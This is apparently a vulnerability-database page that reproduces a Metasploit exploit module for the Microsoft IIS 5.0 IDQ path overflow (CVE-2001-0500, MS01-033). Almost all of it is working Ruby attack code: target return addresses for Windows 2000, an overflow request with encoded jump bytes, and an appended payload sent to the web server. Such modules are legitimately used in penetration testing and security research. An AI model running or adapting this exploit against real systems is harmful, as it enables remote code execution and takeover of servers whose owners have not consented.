Microsoft IIS 5.0 IDQ Path Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft IIS 5.0 IDQ Path Overflow exploi


                                                ##
# $Id: ms01_033_idq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Microsoft IIS 5.0 IDQ Path Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in the IDQ ISAPI handler for
				Microsoft Index Server.
			},
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9525 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2001-0500&#39;],
					[ &#39;OSVDB&#39;, &#39;568&#39;],
					[ &#39;MSB&#39;, &#39;MS01-033&#39;],
					[ &#39;BID&#39;, &#39;2880&#39;],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;,
				},

			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 800,
					&#39;BadChars&#39; =&#62; &#34;\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},

			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows 2000 Pro English SP0&#39;,     { &#39;Ret&#39; =&#62; &#39;0x6e8f3e24&#39; } ],
					[ &#39;Windows 2000 Pro English SP1-SP2&#39;, { &#39;Ret&#39; =&#62; &#39;0x6e8f8cc4&#39; } ],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jun 18 2001&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))

		register_options([Opt::RPORT(80)], self.class)
	end

	def exploit
		connect

		sploit =  rand_text_alphanumeric(1) + &#34;.idq?&#34; + rand_text_alphanumeric(232)
		sploit &#60;&#60; &#34;%u06eb.%u&#34; + target.ret[-4, 4] + &#34;%u&#34; + target.ret[-8, 4]
		sploit &#60;&#60; &#34;.%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF=&#34;
		sploit &#60;&#60; rand_text_alphanumeric(1) + &#34; HTTP/1.0\r\n\r\n&#34; + rand_text_alphanumeric(46)

		uri = &#39;/&#39; + sploit + payload.encoded

		res = &#34;GET #{uri}\r\n\r\n&#34;

		print_status(&#34;Trying target #{target.name}...&#34;)

		sock.put(res)

		handler
		disconnect
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1